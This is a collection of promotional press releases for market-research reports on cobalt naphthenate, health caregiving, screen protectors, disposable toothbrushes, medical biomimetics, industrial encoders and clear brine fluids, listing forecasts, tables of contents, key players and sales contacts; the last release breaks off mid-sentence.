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Qyresearchreports include new market research report Cobalt Naphthenate to its huge collection of research reports.The newly added research study on the asia-pacific market for Cobalt Naphthenate slices and dices it in every possible way to unravel key facts about it. The report presents the various factors serving to drive or restrain the market and other crucial trends shaping its trajectory.The report segments the asia-pacific market for Cobalt Naphthenate based on different criteria and examines every segment with utmost care to offer a granular view of the market. Each regional segment of the asia-pacific market for Cobalt Naphthenate have been scrutinized for their historical and recent figures. Using this data along with various growth driver and restraints, the future trajectory of the asia-pacific market for Cobalt Naphthenate have been discussed.Download Sample Report With TOC at:The market study also uses popular analytical tools such as SWOT analysis and Porters Five Forces Analysis to provide a qualitative and quantitative overview of the asia-pacific Cobalt Naphthenate market. Data gathered from such analysis has been examined by industry pundits to identify important trends and opportunities in the market. The analyst behind the report have also interviewed the experts for their take on the market, which makes the report an authoritative guide to the asia-pacific Cobalt Naphthenate market.The report throws light on the big shot players in the asia-pacific market for Cobalt Naphthenate. It takes a close look at their product offerings, revenues, share in the market, important strategies, and future prospects. The report also delves into the macro- and micro-fundamentals governing the market for Cobalt Naphthenate so as to enable stakeholders bet right on the market.Asia-Pacific Cobalt Naphthenate market competition by top manufacturers/players, with Cobalt Naphthenate sales volume, price, revenue (Million USD) and market share for each manufacturer/player; the top players includingMinghuan ChemicalZhang Ming ChemicalChangfeng ChemicalDeyu ChemicalBoye Qunli Drier AuxiliariesOn King Siccative...Answers to questions provided in the report are:What are the factors are affecting growth in the market?Which factors are posing a challenge to the market?What is the current size of the market?Who are the prominent participants in the market?What are the main offerings of the key players?What are the winning strategies of key players?Complete Table of Content is available at:Table of ContentsAsia-Pacific Cobalt Naphthenate Market Report 20171 Cobalt Naphthenate Overview1.1 Product Overview and Scope of Cobalt Naphthenate1.2 Classification of Cobalt Naphthenate by Product Category1.2.1 Asia-Pacific Cobalt Naphthenate Market Size (Sales) Comparison by Types (2012-2022)1.2.2 Asia-Pacific Cobalt Naphthenate Market Size (Sales) Market Share by Type (Product Category) in 20161.2.3 8% Cobalt1.2.4 10% Lead1.2.5 Other1.3 Asia-Pacific Cobalt Naphthenate Market by Application/End Users1.3.1 Asia-Pacific Cobalt Naphthenate Sales (Volume) and Market Share Comparison by Applications (2012-2022)1.3.2 Coating & Paint1.3.3 Other1.4 Asia-Pacific Cobalt Naphthenate Market by Region1.4.1 Asia-Pacific Cobalt Naphthenate Market Size (Value) Comparison by Region (2012-2022)1.4.2 China Status and Prospect (2012-2022)1.4.3 Japan Status and Prospect (2012-2022)1.4.4 South Korea Status and Prospect (2012-2022)1.4.5 Taiwan Status and Prospect (2012-2022)1.4.6 India Status and Prospect (2012-2022)1.4.7 Southeast Asia Status and Prospect (2012-2022)1.4.8 Australia Status and Prospect (2012-2022)1.5 Asia-Pacific Market Size (Value and Volume) of Cobalt Naphthenate (2012-2022)1.5.1 Asia-Pacific Cobalt Naphthenate Sales and Growth Rate (2012-2022)1.5.2 Asia-Pacific Cobalt Naphthenate Revenue and Growth Rate (2012-2022)2 Asia-Pacific Cobalt Naphthenate Competition by Players/Suppliers, Region, Type and Application2.1 Asia-Pacific Cobalt Naphthenate Market Competition by Players/Suppliers2.1.1 Asia-Pacific Cobalt Naphthenate Sales Volume and Market Share of Key Players/Suppliers (2012-2017)2.1.2 Asia-Pacific Cobalt Naphthenate Revenue and Share by Players/Suppliers (2012-2017)2.2 Asia-Pacific Cobalt Naphthenate (Volume and Value) by Type2.2.1 Asia-Pacific Cobalt Naphthenate Sales and Market Share by Type (2012-2017)2.2.2 Asia-Pacific Cobalt Naphthenate Revenue and Market Share by Type (2012-2017)2.3 Asia-Pacific Cobalt Naphthenate (Volume) by Application2.4 Asia-Pacific Cobalt Naphthenate (Volume and Value) by Region2.4.1 Asia-Pacific Cobalt Naphthenate Sales and Market Share by Region (2012-2017)2.4.2 Asia-Pacific Cobalt Naphthenate Revenue and Market Share by Region (2012-2017)3 China Cobalt Naphthenate (Volume, Value and Sales Price)3.1 China Cobalt Naphthenate Sales and Value (2012-2017)3.1.1 China Cobalt Naphthenate Sales Volume and Growth Rate (2012-2017)3.1.2 China Cobalt Naphthenate Revenue and Growth Rate (2012-2017)3.1.3 China Cobalt Naphthenate Sales Price Trend (2012-2017)3.2 China Cobalt Naphthenate Sales Volume and Market Share by Type3.3 China Cobalt Naphthenate Sales Volume and Market Share by Application...About QYResearchReports.comQyresearchreports.com delivers the latest strategic market intelligence to build a successful business footprint in China. Our syndicated and customized research reports provide companies with vital background information of the market and in-depth analysis on the Chinese trade and investment framework, which directly affects their business operations. Reports from Qyresearchreports.com feature valuable recommendations on how to navigate in the extremely unpredictable yet highly attractive Chinese market.Contact US:Brooklyn, NY 11230United StatesToll Free: 866-997-4948 (USA-CANADA)Tel: +1-518-618-1030Web:Email: sales@qyresearchreports.com
Health Caregiving Market: Segment Snapshot and Table of Content (2016-2024)

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Noble services offered by caregivers from around the world continue to nurture the fragile health of elderlies as well as the blooming lives of infants. Demand for health caregiving services will continue to surge in the years to come as people will keep appointing professional help for nursing the health of their loved ones. By now, the global market for health caregiving has evolved into a key aspect of the worlds medical services sector. After raking in more than US$ 75 billion revenues in 2015, the global health caregiving market fared well to reach market valuation of an estimated US$ 84.5 billion in 2016. According to a recent study conducted by Persistence Market Research, global health caregiving revenues will continue to increase at an impressive CAGR of 12.6%, reaching US$ 218,469 million by the end of 2024.Persistence Market Researchs report, titled Health Caregiving Market: Global Industry Analysis & Forecast, 2016-2024, estimates that increasing presence of nuclear families, that were instrumented by the popularity of DINK trend (Double Income, No Kids), has turned out to be a key factor driving the demand for health caregiving services. These services are being used for taking care of toddlers in families with both parents working, while consanguineal or extended families are also opting for health caregivers to take care of their aged family members at home.Get Full Report @The global Health Caregiving Market is segmented on the basis of Care Type, product type, end user and region.Assistance in daily essential activities can be clubbed up to be identified as a key type of health caregiving service being utilized in the world. According to the report, nearly three-fourth of global health caregiving revenues will continue to be accounted by services availed for seeking assistance in daily essential activities. Meanwhile, health caregiving services that provide health & safety awareness and improve quality of life are anticipated to contribute more than US$ 30 billion worth of global revenues by the end of 2024. However, health caregiving services availed for social well-being will continue to lose traction in 2016 and beyond, registering a revenue growth at the lowest CAGR  11.9%.A segmental analysis of global health caregiving market on the basis of end-users has predicted that by the end of 2024, geriatric population will account for nearly one-third of the global market revenues. The worlds disabled population will be attributing to global health caregiving revenues worth over US$ 50 billion over the forecast period. In 2016, more than US$ 16 billion revenues were amassed from health caregiving services availed for neonatal & pediatric population, rendering infants and toddlers as prominent end-users of health caregiving services.North America is predicted to be the worlds largest market for health caregiving services. In 2016 and beyond, North America will contribute with more than 50% of global revenues, registering a 15.3% CAGR.Companies such as Seniorlink, Inc., GreatCall, UnaliWear Inc., Cariloop, Inc., HomeHero Inc., Hometeam, and Honor Technology Inc., are leading providers of health caregiving services in the world, and are all based in the US.Asia-Pacifics health caregiving market is being forecasted to reach market value of an estimated US$ 14,756.3 million by the end of 2024.Demand for health caregiving services in Latin America and the Middle East & Africa (MEA) region is projected to grow at a comparatively sluggish pace.Europe, on the other hand, is likely to be the fastest-growing regional market for health caregiving services during the forecast period.Request A Sample Report @Summary of Table of Content1. Executive Summary2. Introduction3. Market Analysis Scenario4. Market Dynamics5. Global Health Caregiving Market Analysis, By Care Type6. Global Health Caregiving Market Analysis, By End User7. Global Health Caregiving Market Analysis, By Region8. North America Health Caregiving Market Analysis9. Europe Health Caregiving Market Analysis10. APAC Health Caregiving Market Analysis11. Latin America Health Caregiving Market Analysis12. Middle East & Africa Health Caregiving Market Analysis13. Competitive LandscapeRequest to Browse Full Table of Content, figure and Tables @About UsPersistence Market Research (PMR) is a U.S.-based full-service market intelligence firm specializing in syndicated research, custom research, and consulting services. PMR boasts market research expertise across the Healthcare, Chemicals and Materials, Technology and Media, Energy and Mining, Food and Beverages, Semiconductor and Electronics, Consumer Goods, and Shipping and Transportation industries. The company draws from its multi-disciplinary capabilities and high-pedigree team of analysts to share data that precisely corresponds to clients business needs.PMR stands committed to bringing more accuracy and speed to clients business decisions. From ready-to-purchase market research reports to customized research solutions, PMRs engagement models are highly flexible without compromising on its deep-seated research values.Contact UsPersistence Market Research305 Broadway7th Floor, New York City,NY 10007, United States,USA  Canada Toll Free: 800-961-0353Email: sales@persistencemarketresearch.comWeb:
Tempered Glass Screen Protectors Global Market Size & Growth to 2017-2022

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HTF MI recently broadcasted a new study in its database that highlights the in-depth market analysis with future prospects of Tempered Glass Screen Protectors market. The study covers significant data which makes the research document a handy resource for managers, industry executives and other key people get ready-to-access and self-analyzed study along with graphs and tables to help understand market trends, drivers and market challenges. Some of the key players mentioned in this research are ZAGG, Belkin, Tech Armor, Body Guardz, Amplim, Intelliarmor, Icarez, BENKS, Mcdodo, Momax, Jcpal, CJY Tech, Zupool, Deff, Ipearl, Kindwei, Rungiant, L & I, SZGXS, JUZHE, Ehang Electronic, Enicetytech, YDFH & Yoobao.Get customization & check discount for report @The research covers the current market size of the Global Tempered Glass Screen Protectors market and its growth rates based on 5 year history data. It also covers various types of segmentation such as by geography [United States, EU, China, Japan, South Korea & Taiwan], by product /end user type [0.15 mm, 0.20 mm, 0.33 mm, 0.4 mm & Other Thickness], by applications [Smartphone, Tablet & Others] in overall market. The in-depth information by segments of Tempered Glass Screen Protectors market helps monitor performance & make critical decisions for growth and profitability. It provides information on trends and developments, focuses on markets and materials, capacities, technologies, CAPEX cycle and the changing structure of the Global Tempered Glass Screen Protectors Market.This study also contains company profiling, product picture and specifications, sales, market share and contact information of various international, regional, and local vendors of Global Tempered Glass Screen Protectors Market, some of them are ZAGG, Belkin, Tech Armor, Body Guardz, Amplim, Intelliarmor, Icarez, BENKS, Mcdodo, Momax, Jcpal, CJY Tech, Zupool, Deff, Ipearl, Kindwei, Rungiant, L & I, SZGXS, JUZHE, Ehang Electronic, Enicetytech, YDFH & Yoobao. The market competition is constantly growing higher with the rise in technological innovation and M&A activities in the industry. Moreover, many local and regional vendors are offering specific application products for varied end-users. The new vendor entrants in the market are finding it hard to compete with the international vendors based on quality, reliability, and innovations in technology.Global Tempered Glass Screen Protectors (Thousands Units) and Revenue (Million USD) Market Split by Product Type such as 0.15 mm, 0.20 mm, 0.33 mm, 0.4 mm & Other ThicknessMarket Segment by Type 2016 2017 2018 2019 2020 2021 20220.15 mm xx xx xx xx xx Xx xx-Change (%) xx% xx% xx% xx% xx% xx% xx%0.20 mm xx xx xx xx xx Xx xx-Change (%) xx% xx% xx% xx% xx% xx% xx%0.33 mm xx xx xx xx xx Xx xx-Change (%) xx% xx% xx% xx% xx% xx% xx%0.4 mm xx xx xx xx xx Xx xx-Change (%) xx% xx% xx% xx% xx% xx% xx%Other Thickness xx xx xx xx xx Xx xx-Change (%) xx% xx% xx% xx% xx% xx% xx%The research study is segmented by Application such as Smartphone, Tablet & Others with historical and projected market share and compounded annual growth rate.Global Tempered Glass Screen Protectors (Thousands Units) by Application (2017-2022)Market Segment by Application 2012 2017 2022 Market Share (%)2022 CAGR (%)(2017-2022)Smartphone xx xx xx xx% xx%Tablet xx xx xx xx% xx%Others xx xx xx xx% xx%Total xx xx xx 100% xx%Geographically, this report is segmented into several key Regions, with production, consumption, revenue (million USD), and market share and growth rate of Tempered Glass Screen Protectors in these regions, from 2012 to 2022 (forecast), coveringMarket Segment by Regions 2012 2017 2022 Share (%) CAGR (2017-2022)United States xx xx xx xx% xx%EU xx xx xx xx% xx%China xx xx xx xx% xx%Japan xx xx xx xx% xx%South Korea xx xx xx xx% xx%Taiwan xx xx xx xx% xx%Total xx xx xx xx% xx%Read Detailed Index of full Research Study at @Key questions answered in this report - Global Tempered Glass Screen Protectors Market Research Report 2017What will the market size be in 2022 and what will the growth rate beWhat are the key market trendsWhat is driving Global Tempered Glass Screen Protectors marketWhat are the challenges to market growthWho are the key vendors in Global Tempered Glass Screen Protectors market space?What are the key market trends impacting the growth of the Global Tempered Glass Screen Protectors market?What are the key outcomes of the five forces analysis of the Global Tempered Glass Screen Protectors market?Buy PDF version of this research report @There are 15 Chapters to display the Global Tempered Glass Screen Protectors market.Chapter 1, to describe Definition, Specifications and Classification of Tempered Glass Screen Protectors , Applications of Tempered Glass Screen Protectors , Market Segment by Regions;Chapter 2, to analyze the Manufacturing Cost Structure, Raw Material and Suppliers, Manufacturing Process, Industry Chain Structure;Chapter 3, to display the Technical Data and Manufacturing Plants Analysis of Tempered Glass Screen Protectors , Capacity and Commercial Production Date, Manufacturing Plants Distribution, R&D Status and Technology Source, Raw Materials Sources Analysis;Chapter 4, to show the Overall Market Analysis, Capacity Analysis (Company Segment), Sales Analysis (Company Segment), Sales Price Analysis (Company Segment);Chapter 5 and 6, to show the Regional Market Analysis that includes United States, EU, China, Japan, South Korea & Taiwan, Tempered Glass Screen Protectors Segment Market Analysis (by Type);Chapter 7 and 8, to analyze the Tempered Glass Screen Protectors Segment Market Analysis (by Application) Major Manufacturers Analysis of Tempered Glass Screen Protectors ;Chapter 9, Market Trend Analysis, Regional Market Trend, Market Trend by Product Type [0.15 mm, 0.20 mm, 0.33 mm, 0.4 mm & Other Thickness], Market Trend by Application [Smartphone, Tablet & Others];Chapter 10, Regional Marketing Type Analysis, International Trade Type Analysis, Supply Chain Analysis;Chapter 11, to analyze the Consumers Analysis of Tempered Glass Screen Protectors ;Chapter 12, to describe Tempered Glass Screen Protectors Research Findings and Conclusion, Appendix, methodology and data source;Chapter 13, 14 and 15, to describe Tempered Glass Screen Protectors sales channel, distributors, traders, dealers, Research Findings and Conclusion, appendix and data source.Get Access to sample pages @Thanks for reading this article; you can also get individual chapter wise section or region wise report version like North America, Europe or Asia.HTF Market Report is a wholly owned brand of HTF market Intelligence Consulting Private Limited. HTF Market Report global research and market intelligence consulting organization is uniquely positioned to not only identify growth opportunities but to also empower and inspire you to create visionary growth strategies for futures, enabled by our extraordinary depth and breadth of thought leadership, research, tools, events and experience that assist you for making goals into a reality. Our understanding of the interplay between industry convergence, Mega Trends, technologies and market trends provides our clients with new business models and expansion opportunities. We are focused on identifying the Accurate Forecast in every industry we cover so our clients can reap the benefits of being early market entrants and can accomplish their Goals & Objectives.Contact us :HTF Market Intelligence Consulting Private LimitedUnit No. 429, Parsonage Road Edison, NJNew Jersey USA  08837sales@htfmarketreport.comPh: +1 (206) 317 1218
Disposable Toothbrush Market Opportunity, Forecast and Value Chain 2017-2025: PMR

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Disposable toothbrushDisposable toothbrush is usually smaller in size, cheaper, and used only once before it is discarded. Usually, it comes in pre-pasted form with the toothpaste already on the toothbrush in smaller quantities. All one need is water to activate the paste and start using it. This type of toothbrush is perfect for traveling, camping, military, airlines, and hospitality. The disposable toothbrush is also good for those who have braces. Choosing disposable toothbrush is bit complex as one needs to determine their priority like someone wants it in small size which is easy to carry or some want to use it twice without pre-pasted.Consumers are showing increase in interest to spend on oral hygienic which presents manufacturers with an option to introduce premium products that attribute to concerns relating to the complete oral care, whitening, sensitivity, and gum health. Increasing importance of oral hygiene attributed to the hike in the market for a disposable toothbrush.Request for Report Sample @Market SegmentationThe disposable toothbrush is segmented by its type, category, distribution channel, and region. Disposable toothbrush segmented by its type as electric and manual. The electric toothbrush has rechargeable battery that needs to charge on a regular basis. Some electric toothbrush has built-in timer system that beeps when one finishes up brushing for three minutes. By category, it is segmented, for kids and for adult. The adult toothbrush comes in the form of non-slip grip and rounded bristles of polished soft nylon. Kid size toothbrush is the child size version of gentle bristles disposable. It comes in five assorted colors of translucent polystyrene, and the brush head has 25 tufts of quality nylon bristles.The disposable toothbrush market further segmented by distribution channel used by manufacturers to supply disposable toothbrush to end-users. By distribution channel, the disposable toothbrush market segmented into Supermarket/Hypermarket, Convenience/Departmental Stores, and Others (includes retail chains). Supermarket/Hypermarket segment is expected to represent the highest growth in revenue earnings due to its capability to offer a wide variety of disposable toothbrush products, and also provide attractive offers and discounts.Request for Report TOC @Disposable toothbrushes segmented by region such as North America, Latin America, Europe, Middle East, Asia Pacific and Africa. In North America, USA market is predicted to get stagnant over the forecast period due to its overall high penetration in this category. In Europe, UK has the highest consumption of disposable toothbrush due to high demand from consumers for hygienic solutions. Asia Pacific region is expected to grow to a considerable fraction during the forecast period.DriversThe growing trend towards natural and organic products in oral care is likely to influence the disposable toothbrush market over the forecast period. Improvement in the level of hygiene is a major factor which increases the demand of a disposable toothbrush. Moreover, effective marketing campaigns by manufacturers resulted in greater awareness about disposable toothbrush among consumers. Effective retail penetration and wider promotional activities offered by producers are also expected to fuel the growth of disposable toothbrush market.The increase in traveling among people is a major trend for disposable toothbrush market. Growing trend for spending on oral hygiene is driving the demand for a disposable toothbrush. The ongoing health and wellness trend is increasing the importance of oral care to many consumers. Consumers are looking for more whitening and less sensitivity toothbrush, which fuels the demand for disposable toothbrush market.Obtain Report Details @The key challenge for a manufacturer is in developing regions where there is low penetration of disposable toothbrush thus prevent this category from reaching its potential.Key global market players manufacturing different type of disposable toothbrush products include: Colgate-Palmolive Company, Procter & Gamble, Sunstar Amercias Inc, OraLine, Walgreens, Hager Worldwide IncAbout UsPersistence Market Research (PMR) is a third-platform research firm. Our research model is a unique collaboration of data analytics and market research methodology to help businesses achieve optimal performance.Our client success stories feature a range of clients from Fortune 500 companies to fast-growing startups. PMRs collaborative environment is committed to building industry-specific solutions by transforming data from multiple streams into a strategic asset.Contact UsPersistence Market Research305 Broadway,7th FloorNew York City, NY 10007United StatesTel: +1-646-568-7751Tollfree: +1 800-961-0353Email: sales@persistencemarketresearch.comWebsite:
Medical Biomimetics Market Analysis,Size,Forecast (2016-2024)

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The rising occurrence of numerous disorders and the ever-growing global geriatric population are slated to augment medical biomimetics industry share over the next few years. The growing incidences of organ failure have led to numerous patients opting for organ transplants. As per the UNOS (United Network for Organ Sharing) estimates, the last 10 years witnessed a 15-fold rise in the number of patients queuing up for a liver transplant. This increase in the number of patients wanting an organ transfer will propel the usage of biomimetic technologies for organ regeneration, thereby stimulating Medical Biomimetics Market, set to grow at a rate of 5.5% over 2016-2024.According to UN estimates, global geriatric population was projected to be more than 800 million in 2012, and is slated to hit 2 billion by 2050. With the growing elderly patient base, vulnerable to harmful disorders and subsequent organ failure, the number of organ transplants are expected to rise significantly. This will suitably impel medical biomimetic industry size, which was worth USD 21.4 billion in the year 2015 and is forecast to cross a revenue of USD 34.4 billion by 2024.Request sample copy @Biomimetics find applications across tissue engineering, plastic surgery, drug delivery and wound healing. High grade technological advancements in organ and tissue regeneration and the rising occurrence of chronic ailments have contributed to the lucrative growth of tissue engineering market, which will directly impact medical biomimetics industry.Tissue engineering and drug delivery were two of the applications that majorly contributed toward the growth of medical biomimetics market in 2015. Tissue engineering sector has witnessed the artificial design and production of biomimetic scaffolds that mimic characteristics of the natural ECM, such as adhesion, differentiation supporting cell seeding, and proliferation, which will fuel global medical biomimetics industry.Make Inquiry about this report @Cardiovascular medical biomimetics market is anticipated to grow at a rate of 5.6% over 2016-2024, subject to the rising geriatric population and the growing incidences of cardiovascular disorders. In addition, rising prevalence of obesity, a sedentary lifestyle, and favorable government financial policies will fuel medical biomimetics industry share from cardiovascular products, which accounted for more than 36% of the overall revenue in 2015.Speaking along similar lines, U.S. dominated the regional medical biomimetics market in 2015 and will grow remarkably over the next few years. This growth can be credited to the huge geriatric patient pool and an increased number of R&D medical activities. Besides, tremendous technological advancements, increased patient spending capacity on healthcare, and the rising prevalence of cardiovascular ailments should also expedite U.S. medical biomimetics industry share.Subject to the growing incidences of high blood pressure, rheumatoid arthritis, coronary heart disease, stroke, cubital tunnel syndrome, congestive heart failure, and osteoarthritis, cardiovascular and orthopedic products together held more than 69% of the overall medical biomimetics market share in 2015.With U.S. as one of key contributors, North America medical biomimetics industry was worth more than USD 10 billion in the year 2015 and will grow significantly over the next few years, given the increasing elderly population in the region. UK and Germany together accounted for more than 50% of Europe medical biomimetics market, primarily due to the increased healthcare expenditure, technological advancements, contributions by research organizations, and rising prevalence of organ failure among the elderly patients.The Asia Pacific belt is forecast to observe maximum gains of 7.7% over 2016-2024. Major Asian countries have a rather huge pool of elderly patients susceptible to diseases and organ failure, which will fuel APAC medical mimetics industry. China and India are slated to be the major revenue contributors.In addition, medical tourism is witnessing prominent growth in regions such as Malaysia, Japan, and Thailand. The rise in the number of conferences and seminars related to robotics and biomimetics across these regions will also fuel APAC medical biomimetics market.Major participants operating in global biomimetics industry include HStar Technologies Corporation, Forschungszentrum Julich, Avinent, Biomimetics Technologies, BioHorizons, and Applied Biomimetic. This market is rather fragmented and includes the presence of numerous small and medium sized enterprises and research organizations. Global medical biomimetics market size is rather dynamic, subject to the numerous technological innovations, which have unlocked potential growth opportunities for market players to diversify their product offering and expand their global presence.The latest trend in medical biomimetics industry is that of nanotechnology. This technology will help generate biomimetic materials that will aid biological recognition for tissue engineering devices and for drug targeting. Additionally, it will also help synthesize protein delivery systems and biomimetic gels. The rapid advancements in the field of nanotechnology will thus, favorably influence medical biomimetics market growth.Global Market Insights, Inc., headquartered in Delaware, U.S., is a global market research and consulting service provider; offering syndicated and custom research reports along with growth consulting services. Our business intelligence and industry research reports offer clients with penetrative insights and actionable market data specially designed and presented to aid strategic decision making. These exhaustive reports are designed via a proprietary research methodology and are available for key industries such as chemicals, advanced materials, technology, renewable energy and biotechnology.Arun HegdeCorporate Sales, USAGlobal Market Insights, Inc.Phone: 1-302-846-7766Toll Free: 1-888-689-0688Email: sales@gminsights.comWeb:Blog:
Asia-Pacific Industrial Encoders Market Key Analysis and 2022 Development Trends

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Qyresearchreports include new market research report Industrial Encoders to its huge collection of research reports.The asia-pacific Industrial Encoders market has been deeply evaluated in this publication with the help of both primary and secondary research and useful inputs provided by industry experts. The analysts who have prepared the publication have been among the best in the lot with sound understanding about almost all vital aspects of the market. The publication has come out as a detailed guideline for industry players to explore hidden prospects and take advantage of the best opportunities in the Industrial Encoders market. Players could also use the information presented in the publication to plan the best strategies that will help them to secure a strong position in the market.Get Sample Report of the Research Study at:By segregating the asia-pacific Industrial Encoders market into different segments, the analysts have offered crucial information that could help players to gain a competitive edge over their toughest opponents. Each segment studied in the publication has been meticulously evaluated with market figures to go by. This could help readers to tap into unexplored regions or other categories of segments and ensure a continuing success in the market. Besides segmentation, the publication has offered information on factors detaining Industrial Encoders market growth, backing them up with opportunities to counter the challenges about to show face in the near future.The analysts have also shed light on key aspects of the vendor landscape while profiling some of the leading companies operating in the asia-pacific Industrial Encoders market. Starting from the nature of the current and future competitive scenarios of the market, the publication has foreseen the future plans of leading companies to gain a strong foothold in the industry. This could help readers to stay cautioned about any surprising changes in the vendor landscape of the Industrial Encoders market beforehand. Furthermore, readers could use the information to build extraordinary strategies to strengthen their product portfolio and give a tough competition in the market.Asia-Pacific Industrial Encoders market competition by top manufacturers/players, with Industrial Encoders sales volume, price, revenue (Million USD) and market share for each manufacturer/player; the top players includingBaumerBEI SensorsDynaparOMRONRockwell AutomationFAULHABERHEIDENHAINHengstlerRead Complete Table of Content of the Report at:Table of ContentsAsia-Pacific Industrial Encoders Market Report 20171 Industrial Encoders Overview1.1 Product Overview and Scope of Industrial Encoders1.2 Classification of Industrial Encoders by Product Category1.2.1 Asia-Pacific Industrial Encoders Market Size (Sales) Comparison by Types (2012-2022)1.2.2 Asia-Pacific Industrial Encoders Market Size (Sales) Market Share by Type (Product Category) in 20161.2.3 Optical Encoders1.2.4 Others1.3 Asia-Pacific Industrial Encoders Market by Application/End Users1.3.1 Asia-Pacific Industrial Encoders Sales (Volume) and Market Share Comparison by Applications (2012-2022)1.3.2 Energy & Power1.3.3 Commercial & Industrial1.3.4 Food & Beverages1.3.5 Others1.4 Asia-Pacific Industrial Encoders Market by Region1.4.1 Asia-Pacific Industrial Encoders Market Size (Value) Comparison by Region (2012-2022)1.4.2 China Status and Prospect (2012-2022)1.4.3 Japan Status and Prospect (2012-2022)1.4.4 South Korea Status and Prospect (2012-2022)1.4.5 Taiwan Status and Prospect (2012-2022)1.4.6 India Status and Prospect (2012-2022)1.4.7 Southeast Asia Status and Prospect (2012-2022)1.4.8 Australia Status and Prospect (2012-2022)1.5 Asia-Pacific Market Size (Value and Volume) of Industrial Encoders (2012-2022)1.5.1 Asia-Pacific Industrial Encoders Sales and Growth Rate (2012-2022)1.5.2 Asia-Pacific Industrial Encoders Revenue and Growth Rate (2012-2022)2 Asia-Pacific Industrial Encoders Competition by Players/Suppliers, Region, Type and Application2.1 Asia-Pacific Industrial Encoders Market Competition by Players/Suppliers2.1.1 Asia-Pacific Industrial Encoders Sales Volume and Market Share of Key Players/Suppliers (2012-2017)2.1.2 Asia-Pacific Industrial Encoders Revenue and Share by Players/Suppliers (2012-2017)2.2 Asia-Pacific Industrial Encoders (Volume and Value) by Type2.2.1 Asia-Pacific Industrial Encoders Sales and Market Share by Type (2012-2017)2.2.2 Asia-Pacific Industrial Encoders Revenue and Market Share by Type (2012-2017)2.3 Asia-Pacific Industrial Encoders (Volume) by Application2.4 Asia-Pacific Industrial Encoders (Volume and Value) by Region2.4.1 Asia-Pacific Industrial Encoders Sales and Market Share by Region (2012-2017)2.4.2 Asia-Pacific Industrial Encoders Revenue and Market Share by Region (2012-2017)3 China Industrial Encoders (Volume, Value and Sales Price)3.1 China Industrial Encoders Sales and Value (2012-2017)3.1.1 China Industrial Encoders Sales Volume and Growth Rate (2012-2017)3.1.2 China Industrial Encoders Revenue and Growth Rate (2012-2017)3.1.3 China Industrial Encoders Sales Price Trend (2012-2017)3.2 China Industrial Encoders Sales Volume and Market Share by Type3.3 China Industrial Encoders Sales Volume and Market Share by Application4 Japan Industrial Encoders (Volume, Value and Sales Price)4.1 Japan Industrial Encoders Sales and Value (2012-2017)4.1.1 Japan Industrial Encoders Sales Volume and Growth Rate (2012-2017)4.1.2 Japan Industrial Encoders Revenue and Growth Rate (2012-2017)4.1.3 Japan Industrial Encoders Sales Price Trend (2012-2017)4.2 Japan Industrial Encoders Sales Volume and Market Share by Type4.3 Japan Industrial Encoders Sales Volume and Market Share by Application...About QYResearchReports.comQyresearchreports.com delivers the latest strategic market intelligence to build a successful business footprint in China. Our syndicated and customized research reports provide companies with vital background information of the market and in-depth analysis on the Chinese trade and investment framework, which directly affects their business operations. Reports from Qyresearchreports.com feature valuable recommendations on how to navigate in the extremely unpredictable yet highly attractive Chinese market.Contact US:Brooklyn, NY 11230United StatesToll Free: 866-997-4948 (USA-CANADA)Tel: +1-518-618-1030Web:Email: sales@qyresearchreports.com
Clear Brine Fluids Market : Analysis Detailed Profiles of Top Industry Players and Their Segments Till 2025

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Clear Brine Fluids Market: SnapshotThe constant rise in the number of gas and oil drilling activities across the world has presented large corporates operating in the global clear brine fluids market with lucrative opportunities to develop their business. Development of shale reserves is now a part of the growth plan of developed countries striving to achieve energy security. It is expected that the sales of clear brine fluids will bolster as these fluids are used in the processes of drilling and extracting shale oil and gas.There has been a significant shift towards the development of unconventional energy resources which includes shale gas, tight gas, and coal bed methane (CBM). There are an increased number of drilling activities being undertaken to explore newer unconventional energy resources that have presented a strong market opportunity for producers of clear brine fluid to make full use of. With the advent of Asia Pacific region as a profitable market for deep water drilling, the region is anticipated to positively impact the global clear brine fluid market. However, volatile political and economic situation in the Middle East is a cause of concern for the development of the global clear brine fluid market.The key players in the global clear brine fluids market are now concentrating on expanding their business in order to improve their overall market presence. For instance, a Chemtura Corporation owned business, Great Lake Solutions, started a new plant in January 2017 in El Dorado with an aim to develop products that are innovative and improved in quality.Request Sample Copy of the Report @Global Brine Fluids Market: OverviewThe global clear brine fluids market is poised to rise at a steady pace in the coming years as the overall oil and gas industry is expected to undergo a major change. The increasing investments in ensuring energy security in developed countries and the burgeoning drilling and completion activities are expected to make key contributions to the rising revenue of the overall market.Global Brine Fluids Market: Drivers and TrendsThe ongoing exploration, drilling, and production activities in the oil and gas industry have led an increased consumption of clear brine fluids. These fluids are extensively used for drilling as well as completion processes. The booming oil and gas industry across the globe and persistently rising rigs have consistently provided the global clear brine fluids market a massive fillip. Furthermore, the discovery of shale gas and ongoing extraction of it have also increased the sales of clear brine fluids.Request TOC of the Report @The rapid depletion of natural resources such as natural gas and crude oil has increased the turned the attention of several industrial players towards unconventional sources of energy such as coal bed methane (CBM), tight gas, shale oil/gas, and gas/methane hydrates. Additionally, the spike in the prices of oil and gas have created a dire need for alternative sources of energy, thereby fuelling the demand for clear brine fluids.Global Brine Fluids Market: Market PotentialCompanies in the global clear brine fluids market are focused on expansion to improve their outreach in the overall market. For instance, Great Lakes Solutions, a business owned by Chemtura Corporation, started its new pilot plant in El Dorado in January 2017. The plant is a commitment to developing products that are characterized by innovation and improvement. With the same intention, the facility is expected to mitigate the gap between tradition laboratory experimentation and full-scale commercial production. The plant is located on top of worlds second largest brome-rich brine reserve. This expansion strategy is expected to give this company an edge over others, allowing them to make reliable value additions to their product portfolio.Request Discount of the Report @Global Brine Fluids Market: Regional OutlookGeographically, the global clear brine fluids market is fragmented into Latin America, North America, Europe, Asia Pacific, and the Middle East and Africa. Presently, North America dominates the global market due to the growing shale gas activities in the U.S. Additionally, increasing efforts by the governments across the U.S. towards encouraging energy security measures is also expected to support the regional markets growth.Asia Pacific is also expected to be a key regional player in the global clear brine market are China is poised to account for a sizable share in the global recoverable shale gas market. Furthermore, the Middle East and Africa is also expected to be a close contender in the global market as it houses an important oil and gas industry in the world. Despite the plunge in crude oil prices, the relentless demand for energy across the globe is projected to offer the oil and gas industry in the Middle East and Africa lucrative opportunities for growth. Subsequently, the region is expected to show a consistent consumption clear brine fluids.Key Players Mentioned in this Report are:Some of the leading players operating in the global clear brine fluids market are TETRA Technologies Inc., Israel Chemicals Ltd., Albemarle Corporation, Egyptian Mud Engineering & Chemicals Company (EMEC), Geo Drillings Fluids, Inc., Zirax Ltd., Halliburton, and Chemtura Corporation. The competitive landscape will be characterized by strategic mergers and acquisitions by players in order to strengthen their position in the coming years.About TMR ResearchTMR Research is a premier provider of 